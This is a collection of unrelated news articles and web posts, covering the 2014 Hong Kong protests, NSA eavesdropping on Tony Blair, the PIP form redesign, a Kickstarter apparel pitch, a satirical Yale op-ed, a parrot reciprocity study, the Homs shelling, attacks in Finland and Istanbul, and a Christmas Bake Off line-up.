Hong Kongers nowadays to speak less freely on political matters.”  Many employees of banks and multinational corporations have also been warned by their employers to not speak to the media and if they get arrested, their employment will be terminated.  “Our company line is do what you want in your personal time, but definitely no speaking to the media,” a worker who obviously refused to be identified told Mashable. “Even though there's no rule against it, I still wouldn't feel comfortable if I had my picture taken while I was at the protests. And of course if you get arrested, that can lead to termination.”  This underlying fear is something the government appears to also be using to disperse the crowd. That seemed to happen on Thursday as canisters clearly marked with danger symbols and logos indicating tear gas, rubber bullets and other weapons were moved around in full public view.  Co-founder of Occupy Central Benny Tai Yiu-ting, a professor at the university of Hong Kong, told the media “the way it was done arouses reasonable suspicions over whether it was a public relations show, carried out to further inflame tensions between frontline police, civil servants and the public - in order to smear the movement.”  As the week dragged on and the Beijing-government became more frustrated, officials stepped up the game.  Thugs and triads  On Friday, it is believed the government devised a more extreme tactic: pay underworld figures to launch syncronised anti-protest attacks on the student camps. Democrat and deputy chairman of the Legislative Council's security panel James To, told the South China Morning Post: "The government has used organized, orchestrated forces and even triad gangs in an attempt to disperse citizens." The government has denied this accusation.  A police officer tries to hold back pro-democracy student protesters during a clash local residents in Mong Kok. Image: AP Images/Associated Press  At 3 p.m. and 6 p.m. on Friday respectively, Causeway Bay and Mong Kok came under threat by groups of thugs wearing blue shirts and facemasks and talking in Cantonese accents. The triad-linked group pulled apart tents and threw supplies on the ground. The students were verbally abused, spat on, kicked and punched. Reports emerged of sexual assault, such as groping, of women in the crowd.  It was the first incident of violence among the crowd, and most democracy supporters believe it wasn’t just tensions rising. Many saw it as a coordinated effort to incite violence between locals, who have become frustrated with the lack of order, and the student protesters, who have held the main sections of the city hostage for a week.  “This has gone on too long. We can’t catch the bus. We can’t go to work. They have ruined our home,” one agitated local on the streets of Mong Kok, who refused to be named, told Mashable.  The tactic seemed to be working. Suddenly international and local media sites were showing images of anarchy. Even though the violence was in small, isolated pockets, it appeared to the general masses that the protests had turned ugly. There was blood, faces of anger and tears.  Ming Pao Frontpage on Oct. 4: "Anti-#OccupyCentral Protester Beat People Up." - with a powerful picture pic.twitter.com/6jkKalQdUJ — Fion Li (@fion_li) October 4, 2014  Student protesters accused police of turning a blind eye, and even detaining the instigators before releasing them in a taxi so they were able return to the site later. It all seemed part of a greater plan.  The protests have become an interesting battle of mind power. Under British rule until 1997, many people here have become accustomed to an open flow of information and don't hesitate to question their government On the mainland, by contrast, the Beijing government controls the media and is often accused of manipulating the Chinese people into submission, whatever it takes. For instance, coverage of the protests especially on social media has been all but banned on the mainland.  MORE CENSORSHIP: Some Hong Kong users of Sina Weibo report they appear to meet strange problem to upload photos; slow speed, eventually fail — George Chen (@george_chen) October 5, 2014  Disruption takes a toll  Yet, the general public of Hong Kong can also only handle extreme disruption of the streets for so long, and the government is aware of this need-for-order mentality and appears to be using it to their advantage.  “There are a lot of citizens that have been complaining that the students are disrupting the city,” Yue said. “There are a lot of people that are not on the protesters side because of the disruption and the government is trying to make the divide between those people larger.”  The crowd listens to speeches by pro-democracy leaders. Image: AP Images/Associated Press  The majority of protesters also do not associate themselves with any activism group and this lack of association could prove detrimental for the longevity of the protest, as it becomes easier for people to lose direction and for disagreements to break out.  Author George Chen told Mashable the affects of disruption will also start to filter through the cracks, after a week of major disruptions to bus routes, main roads and government workers.  “The longer the protests continue, the more tired people will naturally feel, and the more impatient the people whose business and daily life are affected will also become,” he said. “The government may try to win more support from those people who feel their lives are disturbed and then put pressure on the Occupy Central movement to force them to keep roads open.”  A sleeping protester. Image: AP Images/Associated Press  Chen believes the battle will be long and has no hope of ending completely tomorrow, especially without strong communication from both sides.  “For now, dialogue will be the best means for both sides — the protesters and government. Both the two parties should move from a position-based bargaining to a more flexible and pragmatic process of interest-based negotiation. The negotiation won’t be easy and the government may try to just get the protesters exhausted before they can reach an agreement.”  In a final show of non-violent power to the Beijing government, tens of thousands of protesters of all ages joined forces on Saturday night in Admiralty. In chilling scenes, they used the power of peaceful protest to send a clear sign to the mainland.  Protesters hold up their phones and sing. Image: Getty Images  Lifting their phones to the sky and singing a pro-democracy song, they stated loud and clear: we have not been beaten by violence. The world cheered them on.  “On an emotional level, the protestors have won global support and care for what they are fighting for –- the 2017 universal suffrage for Hong Kong. Such support from all over the world may have been beyond Beijing’s expectation,” Chen said.  On Sunday night, with Leung demanding work and school resume the next day and stating the government will use any method necessary to enforce this, everyone is aware the rules of the game might change again. It is anyone’s guess how this week comes to an end, but let's hope for Hong Kong's sake it is peacefully.
-As the Content Designer and User Researcher working on the Personal Independence Payment (PIP) service - a benefit for people affected by a disability or long-term condition - we discovered early on that users want to tell their own story. Answering 'yes or no' questions wasn’t enough - they felt pigeonholed into a fixed idea of a certain condition.  We designed early prototypes based on this insight - it was a simple place to start. We asked people to use a free-text box to tell us in their own words how and why their condition affected them. The 12 activities they were asked to think about included washing themselves, getting dressed and mixing with people.  What we learned  It didn’t work. The blank space was intimidating and frustrating.  People thought we were trying to catch them out and were reluctant to write much in case they wrote the wrong thing.  When they did write, their response didn't give enough detail for government to make a decision.  Although people told us they wanted to 'tell their story', when we gave them an open opportunity to do so, they couldn’t. We learned that what users want isn't always what they need. We needed to do more to guide them through their story.  What we tried  We included help text - an additional sentence or two under the question to prompt users to think about the activity in detail.  But this created problems of its own. Eye-tracking software confirmed that people scanned the page to find an ‘action’, or whatever they had to do to get through the form as quickly as possible. They bypassed any content that got in their way, including the help text.  So, working with case managers who make decisions about applications for PIP, we’ve made the help text more comprehensive and meaningful. We’ve broken each activity down into steps and added them to the page as tick boxes. Then we offer people the chance to give more detail about the things that they’ve ticked.  Research shows this is working  We’ve seen that people can use it, understand it and give more thorough answers as a result.  The check boxes give clarification about how government defines each activity.  The design prompts people to think about the different parts of an activity in detail. It encourages them to think about any difficulties they deal with at each stage before they write their story in their own words.  The structure of the page and the breakdown of the questions make the free text boxes less intimidating and guide people into giving more thoughtful answers.  What’s next  We’re going to use this design to take a small amount of real claims for PIP. We know it’s not perfect, and we’re continuing to research variations of the design with real users to make it simpler, clearer and faster for them to use.
-Update: We will ship outside of the US. Just add $10 to your pledge.  During the spring of 2012, I went looking for shoelaces and was surprised that I couldn’t find any. Not the quality I wanted, not the size I wanted, and not the color I wanted. So I decided that I was going to make a better shoelace. And that is how Red Hand started. That’s right, with shoelaces.  That idea to revolutionize shoelaces gave rise to the philosophy that drives Red Hand: bring the best materials, thoughtful design, and performance to products that have been widely neglected by the big brands. Make them attractive and stylish. Use American manufacturers. Sell them direct online. We also decided that instead of just making shoelaces that we were going to take on all men’s basic apparel and accessories.  We knew that if we brought thoughtfulness, style, and performance together that we could put out a collection of products better than nearly anything else on the market. We found the best American manufacturers that would work with us to produce each of our products.  So, that’s Red Hand – American made, high-quality basics and accessories that work, fit, and look great. Period.  The result of the last ten months is a line of shoelaces, socks, undershirts, t-shirts and belts that makes up our first collection. We have worked with fashion designers, product engineers, and suppliers to prototype these products, now we just need to finish the cycle and do our first full production run. That is where Kickstarter comes in.  Why are we on Kickstarter? It’s simple: we need more financing to produce our 2013 Collection of shoelaces, socks, undershirts, t-shirts and belts. We need to buy raw materials in bulk so that we can make products more efficiently and produce our initial order. We need your help to do that.  We put together a table to help you navigate the packages we are offering. If the products appear in red, it means you have the options to choose either.  The First Red Hand Products  Transform your shoes with Red Hand shoelaces  Shoelaces. We started by making better athletic and dress shoelaces. There are not many shoelace braiders left in the States that can produce laces that will compete with the best on the market. We found the one left that produces for some of the top names and brands in footwear today.  Our shoelaces are made from premium blends so that our laces last and use variable density braiding to ensure they stay tied longer. They come in more sizes so that you can find the right lace for your foot and shoe.  Athletic Laces: Styles - oval and bubble / Colors - black, red or white with an additional oval lace in black with red stripes / Lengths - 34", 40", 46", 52" and 58" / Aglets - clear acetate or black, red or silver metal.  Dress and Casual Laces: Style - round / Colors - black, brown or red with more colors coming online this spring / Lengths - 27", 30" or 33" / Aglets - clear acetate or black, red or silver metal.  Socks. When we designed our socks, we took our favorite parts from the best socks we could find. We brought back a few design elements that we thought designers should have kept. We ditched the “one size fits all” approach. Then we found the best sock maker in the States - the family owned business that makes elite socks for one of the biggest athletic companies in the world and that makes some of the best performance socks on the market today.  All of our socks have soft cotton uppers, arch compression and padding on the heel, sole and toe. The heel, sole and toe incorporate a wool and acrylic blend that keeps your feet dry. The low cut athletic socks have a tab on back to keep them from slipping down your heel. The casual sock is available in an over-the-calf style to keep those socks up.  Athletic Socks: Styles - low (with tab) and crew / Sizes - medium (6-8), large (8.5-12) and extra large (12.5-15) / Colors - black or white with red or grey blocking / Material - cotton uppers with a signature cotton, wool, and acrylic blend for the heel, toe and sole  Casual Socks: Styles - crew and over-the-calf / Sizes - medium (6-8), large (8.5-12) and extra lage (12.5-15) / Colors: black, Red Hand striped, Red Hand diamonds, and black and grey striped with red or grey blocking / Materials - cotton uppers with a signature cotton, wool, and acrylic blend for the heel, toe and sole  Belts. As with socks and laces, we are struck by how hard it is to find a good belt so we decided to make our own. We are using American leather in all of our belts and working with Detroit metal crafters to make our buckles.  For Kickstarter, we wanted to offer our supporters something unique. We have identified five classic American cars and are working with the metal team to make a limited edition belt buckles from hoods of those cars. Each belt will come with a tag that shows the year, make, and model and will be numbered. The buckles tell the story of the glory days of American manufacturing and of its re-emergence with brands like Red Hand. It tells the story of Detroit, where our products are designed. And, it tells the story of being an American guy.  The Red Hand Collectors Belt: Red, white and black buckles cut from classic American cars on black, brown or natural leather in the size of your choice. The list of cars will be finalized once Kickstarter is complete.  Undershirts. Too often, undershirts are boxy and too short, and the quality is inconsistent. Our undershirts are designed to be a slimmer fitting and longer in the torso. The 'V' is deeper so that it stays hidden. That means you can comfortably wear them with all cuts of dress shirts and with jeans and trust that they will not come untucked. We chose ultra soft and ultra premium Supima cotton. Our recommendation: pick them in natural. It feels even softer and won't stick out as much against your skin.  We have one of the best North Carolina knitters making our cotton and a top-tier cut and sew shop in Pennsylvania. The quality of these shirts is remarkable.  The Red Hand Undershirt: Styles - V neck and crew neck / Colors - white and natural / Sizes - medium, large, extra large  T-shirts. We love t-shirts so it only seemed natural to release them first-we still have some of our first collection available on our website. We created a limited edition t-shirt that will only be available during this Kickstarter campaign. It will be printed on a Red Hand made t-shirt.  The newest Red Hand t-shirt available during the Kickstarter campaign  The original line of Red Hand t-shirts still available at redhand.us  Design  Our approach to design is straightforward:  1: bring a fresh set of eyes to ignored or neglected products,  2: use colors and patterns that look good in casual and professional settings, and  3: identify the best materials to improve performance and fit while making our products unbelievably comfortable.  The result is shoelaces that last and stay tied without shredding or breaking, and aglets that don’t fall apart. (An aglet, by the way, is that little thing on the end of your shoelaces.) It means socks that stay up, fit well, and fight odor and undershirts that stay tucked in even when you are wearing jeans. And, it means belts with buckles cut from the hoods of classic muscle cars that look cool and tell a story while keeping your pants up.  We were fortunate to find a phenomenal design partner in Middlecott. We worked so well together that they became a partner in Red Hand.  About Red Hand  I’ve never considered myself a fashion guy, but I have decades of design experience on the web, in landscapes, and as a sculptor. I have spent a majority of my professional life dedicated to making the things I touch excel. I’ve owned four businesses and helped more than a dozen other business owners build theirs. I know how to bring the right people together to accomplish more than they have any business trying on their own.  I know what I like and what I demand as a consumer. I love things that fit, that are comfortable, and that last. I like companies that are responsive and care. I don’t like things that feel overdone. Common sense and function are equally as important to me as how things look. But I need all three.  When I created Red Hand, I set out to build a company that made incredible products—the kind of products that guys would be psyched to put on every day. I also set out to build a company that I could believe in. One that was fair to suppliers and manufacturers as well as employees and customers. You can’t do that without being smart about business, and I have experience balancing that.  The design and the brand are inspired by iconic American brands, by musicians and artists, and by my Midwestern background. We are incredibly proud of what we have done in a short period of time and even more excited about what that says for the future of Red Hand. We hope you agree.  What's Next?
-David Murfee Faulk said he saw a file on Mr Blair in 2006 which contained information of a "personal nature" gleaned from eavesdropping on his private telephone conversations.  The accusation that the Bush regime was spying on its closest ally in the war on terror is particularly embarrassing as there is understood to have been an understanding between the two countries that such espionage would not be carried out.  Mr Faulk said he had top secret clearance as a US Army Arab linguist at a covert giant listening post run by the National Security Agency.  He was able to gain access to an intelligence data base of phone call recordings and transcripts, code-named Anchory, where he found a file on Mr Blair.  He made his disclosures to an investigation by ABC News a month after his claims that the NSA spy on American citizens prompted a Senate investigation.  While it is often claimed spying on allies is routine in international espionage, the closeness of the Bush-Blair alliance meant it was supposed to have been an exception.  According to former US intelligence officials, there has been a long-standing agreement with Britain not to collect such information on each other's leaders.  "If it is true that we maintained a file on Blair, it would represent a huge breach of the agreement we have with the Brits," a former CIA official told ABC News.  A spokesman for Mr Blair refused to comment on the claims.  Mr Faulk declined to say exactly what he saw in Mr Blair's file but said it was information of a "personal nature".  He also revealed that the US was spying on Ghazi al-Yawer, Iraq's first interim president after the US invasion, and another key ally.  He said he heard "pillow talk" phone calls of Mr Yawer in which he chatted with his fiancé, whom he later married.  Mr Faulk, 39, broke his silence about his work at the NSA base at Fort Gordon, Georgia, last month when he claimed that it intercepted the private phone calls of American journalists, aid workers and soldiers stationed in Iraq.  His claims prompted calls by some US congressmen for an investigation into what they described as "extremely disturbing" allegations.  President Bush has previously denied that the NSA has eavesdropped on American citizens and Mr Faulk's insistence to the contrary is to be investigated by the Senate Intelligence and Judiciary Committees.  A second whistle-blower, Adrienne Kinne, has supported his claims about US journalists, saying their conversations were intercepted when they used satellite phones.  Fort Gordon is the world's biggest listening post. Nicknamed Black Hall, it is home of the US Army's Signals Centre and employs some 30,000 intelligence gatherers.  While running the NSA, Gen Michael Hayden, now the CIA director, told Congress that the organisation's eavesdropping targets were carefully chosen.  "It's not for the heck of it. We are narrowly focused and drilled on protecting the nation against al Qaeda and those organisations who are affiliated with it," he said.
-(CNN) — She's just five years old but might just be Donald Trump's biggest diplomatic win in China.  A video of Trump's granddaughter Arabella Kushner reciting Chinese poetry is being shared across the country.  During his bid for the US presidency, Trump had nothing but tough talk for Beijing.  But the little girl's command of Mandarin is being interpreted by some as a hidden sign of Trump's affinity with the country.  Arabella wanted to have a pre-bedtime #ChineseNewYear party this past Sunday evening. She got all dressed up and performed songs and poems for Jared, Joseph and me. It was pretty adorable 🐒 #yearofthemonkey  "Trump's craziness and unreliability are just being deceptive," said Weibo user @Ananqiumao in one top rated post.  "Look at his children and family, each one is cuter and more adorable than one another. That's the result of family education. Trump is a man of achievement."  "Feel like Trump would be more friendly to China," said user @caiairenweimian.  In the video, Arabella is wearing a red Chinese style ball gown standing on a table. Other traditional Chinese elements -- the Chinese character for happiness, lanterns and Monkey stickers -- are visible in the background.  "Arabella wanted to have a pre-bedtime #ChineseNewYear party this past Sunday evening," Trump's daughter Ivanka wrote in the post earlier this year. "She got all dressed up and performed songs and poems for Jared, Joseph and me."  Ivanka told the South China Morning Post magazine four years ago that her daughter was studying Mandarin from a Chinese nanny. She added that she was also learning the language and she could "pretty much name every animal in the zoo."  Of course, others cautioned against reading too much into the video.  "The little girl's language skill is a result of Ivanka's education, nothing to do with Trump himself," said user @Jason_ZFQ.  "Those who fantasize about Trump's friendliness to China give me a break. Of course, his real attitude to China remains to be seen."
-Yale University’s motto Lux et Veritas means “Light and Truth.”  A letter to the Muslim students protesting Ayaan Hirsi Ali’s lecture.  To the Yale Muslim Students Association and its many sister organizations that have co-signed a letter protesting Ayaan Hirsi Ali’s lecture on Monday:  I love your new free-speech concept! Obviously this woman should have been banned from campus and had her face stomped in; why couldn’t they have just quietly murdered her in Holland along with her fellow discomfort-creators? These people are worse than tweed underwear! They practically live to make undergraduates uncomfortable. But let’s deal with the harsh realities. Your inspired suggestion, having Official Correctors speak right after Ali to remind students of the authorized view of Muslim society, is the most exciting new development in Free Speech since the Inquisition — everyone will be talking about it! You have written, with great restraint, about “how uncomfortable it will be” for your friends if this woman is allowed to speak. Uncomfortable nothing. The genital mutilation of young girls is downright revolting! Who ever authorized this topic in a speech to innocent Yale undergraduates? Next thing you know, people will be saying that some orthodox Muslim societies are the most cruel and benighted on earth and that Western societies are better than they are (better!) merely because they don’t sexually mutilate young girls! Or force them into polygamous marriages, countenance honor killings, treat women as the property of their male relations, and all that. Can’t they give it a rest? You’d think someone was genitally mutilating them.  Advertisement  Advertisement  We all know that Free Speech doesn’t mean that just anyone can stand up and start spouting. Would you let your dog talk for an hour to a Yale student audience? What’s next, inviting Dick Cheney? Careful study of contemporary documents makes it perfectly clear that when the Bill of Rights mentions Free Speech, it is alluding to Freedom of Speech for the Muslim Students Association at Yale. We all know that true free speech means freedom to shut up, especially if you disagree with your betters. And true free thought means freedom to stop thinking as soon as the official truth is announced by the proper Authorities — and freedom to wait patiently until then.  Advertisement  Now take this Ayaan Hirsi Ali. First of all, she’s a black woman, and they’re not quite ready for prime time, know what I mean? And she’s against the systematic abuse of women in Muslim societies. What about people who are for the systematic abuse of women in Muslim societies? Furthermore, she lacks “representative scholarly qualifications.” Want the whole campus flooded with quacks expressing their so-called opinions based on “experience” and “knowledge” instead of academic authority? And she’s Dutch. More or less. Enough said.  Thank you for protecting us from having to listen to uncensored ideas and make up our own minds, Yale Muslim Students Association. Or at least trying. We will treasure your letter and keep it under our pillows forever.  Advertisement  Advertisement  — David Gelernter is a professor of computer science at Yale University.
-Griffin the grey parrot appears to understand benefits of sharing  A study into whether grey parrots understand the notion of sharing suggests that they can learn the benefits of reciprocity.The research involved a grey parrot called Griffin, who consistently favoured the option of ‘sharing’ with two different human partners.Griffin was presented with a choice of four different coloured cups. A green cup (the sharing option) meant he and his partner each got treats. A pink cup represented the selfish choice as only Griffin got a treat, an orange cup was the giving option as only his partner got a treat, and a violet cup denoted the spiteful selection as no one got treats.With few exceptions he consistently favoured green for each human partner, indicating he understood the benefits of choosing the ‘sharing’ option.The results of this study, carried out by Dr Franck Péron, from the School of Life Sciences, University of Lincoln, UK, with colleagues at Harvard University and Brandeis University, US, have now been published in the journal Animal Cognition.The question under investigation was whether Griffin would learn the human partner’s actions, understand that the human was replicating his own behaviour by acting in a reciprocal manner, and that by choosing the green (sharing) cup, he could maximize the overall payoff, because then each would receive a reward on each turn.It followed a previous study conducted by the same team, which focussed on grey parrots and used a similar token-based system, demonstrating a limited understanding of reciprocity in grey parrots.When the pairs involved several different human-parrot pairings with each human playing a specific role, such as being selfish, giving, or copying the bird’s behaviour, birds’ responses only tended towards consistency with human behaviour.It was theorised that the birds’ inability to understand the copycat condition fully - that they could potentially maximize reward by choosing to share - was a consequence of their viewing the copycat’s behaviour as erratic, compared with the consistently selfish or giving humans and therefore not realising that they were being mirrored.Dr Péron said: “This follow-up experiment has shown that at least one grey parrot - the dominant in this case - responded in a manner suggesting that he deduced the appropriate eventualities.“With few exceptions, Griffin chose the green sharing cup. He seemed to understand the parameters of the study; that is, that each person was mirroring Griffin’s own behaviour and not acting erratically. Although choosing pink (selfish) would have presented the same immediate reward as choosing green (sharing), Griffin did not act in that manner. He seemed to figure out fairly quickly that his choice of pink meant that he would miss a reward when the human subsequently made the choice.”A possible explanation for Griffin’s behaviour may be derived from two papers on primates, which argue that various forms of reciprocal behaviour in non-human primates can be explained as either a balancing act between fairness and empathy, or fairness and welfare.The basic idea in both papers is that the choice of group members to reciprocate in kind derives from the interplay among selfishness, some level of concern for the well-being of others, and some sense of fairness.The new data suggests that some level of reciprocity can be demonstrated in at least one avian species, whatever the underlying mechanisms. The basis for such behaviour may be a consequence of the same evolutionary pressures that were exerted to develop advanced cognitive and communicative abilities in both avian and primate lineages.The team suggested that copycat trials should be performed as a separate experiment, without being contrasted with trials in which humans acted consistently, in order to determine if results might have differed.Franck Péron, Luke Thornberg, Brya Gross, Suzanne Gray, Irene M. Pepperberg. Human-grey parrot (Psittacus erithacus) reciprocity: a follow-up study. Animal Cognition. DOI 10.1007/s10071-014-0726-3
-Media playback is unsupported on your device Media caption Footage purporting to show shelling in Homs continues to emerge  Syrian troops have resumed heavy shelling of the city of Homs, activists say, a day after the UN General Assembly called for an end to violence.  One opposition group said the bombardment was the heaviest since troops launched attacks on anti-government strongholds 13 days ago.  A senior Chinese envoy is meanwhile due to meet President Bashar al-Assad.  China and Russia voted against the UN resolution, which also called on Mr Assad to hand over power to his deputy.  The two countries also vetoed what would have been a legally binding UN Security Council resolution two weeks ago.  It's unbelievable - extreme violence the like of which we have never seen before Hadi Abdullah, Syrian Revolution General Commission  'Extreme violence'  Parts of Homs have been battered by mortars and rockets fired by Syrian government troops for nearly two weeks, as they try to dislodge hundreds of rebels from the Free Syrian Army.  On Friday, shells were hitting the districts of Baba Amr, Inshaat, Bayada and Khaldiya, opposition and human rights activists said.  "The shelling is continuous. They are using rockets and mortars, which are falling on people's houses," Homs resident Abu Abdah told the BBC. "The damage is so huge, and the city has been isolated."  "We have no support. We have a lack of medical supplies and food. The Assad forces have prevented people leaving the city."  Hadi Abdullah of the Syrian Revolution General Commission told the AFP news agency: "It's unbelievable - extreme violence the like of which we have never seen before, with an average of four rockets every minute."  "There are thousands of people isolated in Homs. There are neighbourhoods that we know nothing about. I myself do not know if my parents are OK. I have had no news from them for 14 days," he added.  Government forces on the outskirts of Homs have yet to make a big push on the ground to wipe out all resistance, as they have promised to do.  The UK-based Syrian Observatory for Human Rights reported that nine unidentified bodies were found in Homs on Friday morning.  Later, security forces in several locations reportedly attacked demonstrators spilling onto the streets after Friday prayers, including in the suburbs of Damascus. The Observatory said one person died at a protest in the capital's western Mezzeh district.  The Local Co-ordination Committees, an activist group that organises and documents protests, reported that 45 people had been killed by security forces across the country, including seven in Homs and 12 army defectors who were executed in the southern province of Deraa.  'Unbalanced' resolution  The BBC's Jim Muir in neighbouring Lebanon says the passing of the resolution at the UN General Assembly clearly is not affecting events on the ground, but it gave all parties a chance to air their views.  One-hundred-thirty-seven member states voted for the motion, which called on the Syrian authorities "to stop all violence or reprisals immediately, in accordance with the League of Arab States initiative".  Image caption Syria's UN envoy Bashar Jaafari said the vote would make the violence worse  The regional grouping has called on Mr Assad to hand over power to his deputy, who would form a national unity government within two months.  "The UN General Assembly sent a clear message to the people of Syria - the world is with you," US permanent representative Susan Rice said.  Russia and China were amongst the 12 states who voted against the non-binding resolution. There were also 17 abstentions.  Before the vote, Russia's Deputy Foreign Minister Gennady Gatilov said the resolution was "unbalanced".  Syria's permanent representative, Bashar Jaafari, meanwhile argued that it was a message of support to the "extremists and terrorists" he said the authorities in Damascus were fighting, and warned that it would only lead to more violence.  But UN Secretary General Ban Ki-moon accused the Syrian authorities of committing "almost certain" crimes against humanity.  China does not approve of the use of force to interfere in Syria or the forceful pushing of a so-called regime change Zhai Jun, Chinese Vice-Foreign Minister  On Friday, Chinese Vice-Foreign Minister Zhai Jun, who has met some opposition figures, is due to meet President Assad in Damascus for talks.  Before leaving Beijing, he condemned violence against civilians and called on the Syrian government to respect the people's "legitimate" desire for reform.  But he added: "China does not approve of the use of force to interfere in Syria or the forceful pushing of a so-called regime change."  Our correspondent says the chances for successful mediation right now seem very slight.  Arab and Western powers will be meeting in Tunis in a week to step up support for the Syrian opposition. Two days after that, the government is going ahead with a referendum on a new constitution.  On Friday, France and the UK urged the Syrian opposition to unite and said it needed more international support to resist suppression.  "We cannot bring about a Syrian revolution... if the Syrian revolution does not make an effort to rally together and organise so that we can better help them,'' French President Nicolas Sarkozy told reporters after holding talks in Paris with UK Prime Minister David Cameron.  Mr Cameron meanwhile announced that the UK was sending food and medical supplies to help tens of thousands of people in Syria.
-COPENHAGEN — Police in Finland released a third suspect Friday in a fatal stabbing attack allegedly carried out by a Moroccan asylum-seeker, a development that came hours after the Nordic country’s news agency said officers will be issued MP5 submachine guns in addition to their normal equipment.  The released man was arrested a week ago on suspicion of helping plan the Aug. 18 attack that killed two people and injured eight, the National Bureau of Investigation said.  Two other Moroccans who also had been detained as suspects were released earlier this week.  None of them still are considered suspects, the bureau said.  The main suspect — a Moroccan asylum-seeker whose application was denied — is being held on suspicion of murder and attempted murder with terrorist intent.  Investigators said he had become radicalized, but did not elaborate. He also had given a false name and age when he first was interviewed.  Investigators have said they weren’t aware of a motive for the attack in southwestern Finland, but that it appeared to target women.  Earlier in the day, Finnish news agency STT said the country’s more than 7,000 police officers soon will have submachine guns. A top police official cited the increased terror threat is the main reason for the upgrade.  Ari Alanen of Finland’s top police body told STT on Friday that “we must increasingly consider the weapons we need to take with us.”  No one with the National Police Board was immediately available for comment. No details were immediately available on when the weapons would be handed out.  In June, Finland’s security agency raised its threat assessment to the second level on a four-step scale.
-Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.  Jan. 1, 2017, 8:51 AM GMT / Updated Jan. 1, 2017, 10:34 PM GMT By Alastair Jamieson and Aziz Akyavas  A terrorist remained on the loose Sunday after opening fire at a crowded nightclub in Istanbul during New Year's celebrations, killing at least 39 people.  The suspect killed a police officer and a civilian outside the Reina Club before entering and firing on revelers inside at about 1:30 a.m. (5:30 p.m. ET Saturday).  "Efforts to find the terrorist are continuing," Turkish Interior Minister Suleyman Soylu told reporters. "God willing, he will be caught in a short period of time. This was a massacre, a truly inhuman savagery."  Related: Scenes of Chaos and Mourning After Istanbul Attack  Twenty-eight of the dead were foreigners, Turkish Health Ministry officials said. Canadian, Iraqi, Saudi, Indian, Lebanese, Tunisian, Kuwaiti and Syrian citizens are among the dead.  An Arab Israeli woman was also killed, Israel's Foreign Ministry said, and her friends were wounded. Turkish Health Minister Recep Akdag said 65 people were wounded, four of them critically.  Among the wounded was one American citizen — Jake Raak, 35, of Greenville, Delaware, who was in Istanbul to celebrate New Year’s, his brother, Mike Raak, told NBC News.  Mike learned the news after receiving a call from his brother, who was hospitalized.  “I was in a club and I got shot,” Mike recalled Jake saying.  The injuries weren’t serious — the bullet struck Jake’s hip and traveled to his knee — and doctors expected him to be discharged and on his way home to the United States within the next day, Mike said.  Still, Mike added, his brother sounded horrified.  “He was completely shaken,” he said.  As the manhunt unfolded, the U.S. Consulate in Istanbul warned Americans in the city to "shelter in place," and it tried to tamp down rumors circulating on social media that the U.S. government had forewarning of the attack. In a statement, the consulate denied that it had warned Americans to stay away from the area.  A handful of WNBA players, including Essence Carson, Chelsea Gray and Jantel Lavender of the Los Angeles Sparks, were next door when the attack took place. Sparks coach Brian Agler told The Associated Press that Carson texted him to say the three players were OK.  About two dozen WNBA players are in Turkey during their off-season playing in a league there. The WNBA told the AP that all of the players had been accounted for.  Police guarded the scene of the attack Sunday in the Ortakoy district, close to the Bosphorus strait.  Istanbul provincial Gov. Vasip Sahin said the attacker was armed with a long-barreled weapon and "rained bullets in a very cruel and merciless way on innocent people who were there to celebrate New Year's and have fun," according to the Anadolu news agency.  While it had been reported that the assailant was dressed in a "Santa Claus" outfit, several sources, including Prime Minister Binali Yildrim, said that was incorrect.  Sinem Uyanik was in the club with her husband, who she told NBC News was shot three times but is expected to survive. She said she fainted briefly after two people were shot in front.  Turkish President Recep Tayyip Erdogan "vehemently" condemned the attack in a statement.  "Turkey continues its combat against terror and is absolutely determined to do whatever is necessary in the region to ensure its citizens safety and peace," he said.  National Security Council spokesman Ned Price reaffirmed U.S. support for Turkey, a NATO ally.  "That such an atrocity could be perpetrated upon innocent revelers, many of whom were celebrating New Year's Eve, underscores the savagery of the attackers," he said in a statement.  Security measures had been heightened in major Turkish cities, with police barring traffic leading up to key squares in Istanbul and the capital Ankara. In Istanbul, 17,000 police officers were put on duty, Anadolu reported.  Ankara and Istanbul were targeted by several attacks in 2016 by ISIS or Kurdish rebels, which killed more than 180 people.  The attack in Istanbul prompted the New York Police Department to deploy some counterterrorism teams and patrols to nightspots, police officials said, although they cautioned that there were no specific or credible threats to the city.  Among the wounded was one American citizen — Jake Raak, 35, of Greenville, Delaware, who was in Istanbul to celebrate New Year’s, his brother, Mike Raak, told NBC News.  Mike learned the news after receiving a call from his brother, who was hospitalized.  “I was in a club and I got shot,” Mike recalled Jake saying.  The injuries weren’t serious — the bullet struck Jake’s hip and traveled to his knee — and doctors expected him to be discharged and on his way home to the U.S. within the next day, Mike said.  Still, Mike added, his brother sounded horrified.  “He was completely shaken,” he said.
-We thought we couldn't be more excited about Christmas Day - turkey! presents! booze! - and then we found out about The Great Christmas Bake Off.  Bake Off might be heading to Channel 4 soon, but not before Paul Hollywood, Mary Berry and Mel & Sue hit our screens together for one last time for a celebration of all things Christmas.  The two episodes - which will air on Christmas Day and Boxing Day - will each feature four returning contestants, and now we know who they are.  Love Productions/Mark Bourdillon BBC  And, brilliantly, one of them is absolute Bake Off fave, series five's Norman Calder. Hooray for Norman!  He'll feature in the first episode along with series two finalist Mary-Anne Boermans, series three's Cathryn Dresser and series four's Ali Imdad.  Love Productions/Tom Graham BBC  But just because it's Christmas, don't expect the challenges to be easy: Mary and Paul will be setting three yuletide tests that are bound to be tricksy, including a signature challenge requiring intricate icing, a technical challenge involving chocolate snowflakes and a showstopper demanding a "festive masterpiece".  We're salivating already, to be honest.  And then in the second episode, more favourites will be back as series two's Janet Basu, series three's James Morton, series four's Howard Middleton and series five's Chetna Makan battle it out to be the Christmas champion.  Love Productions/Tom Graham BBC  But the real question is... WILL SOMEONE NICK HOWARD'S CUSTARD AGAIN?!  Well, we're not sure custard will actually be on the menu - we're promised a savoury signature and Paul's setting a tricky bread technical. But the showstopper requires the bakers to make a trio of Christmas favourites, so perhaps there is room for custard redemption after all.  Episode one of The Great Christmas Bake Off will air on Christmas Day at 4.45pm, while episode two will be served up at 7pm on Boxing Day - all on BBC One.  And if watching the shows gets you all fired up to prove your prowess with an oven, you're in luck, as applications are now open for the first Channel 4 series of Bake Off. We dare you.  Want up-to-the-minute entertainment and tech news? Just hit 'Like' on our Digital Spy Facebook page and 'Follow' on our @digitalspy Twitter account and you're all set.
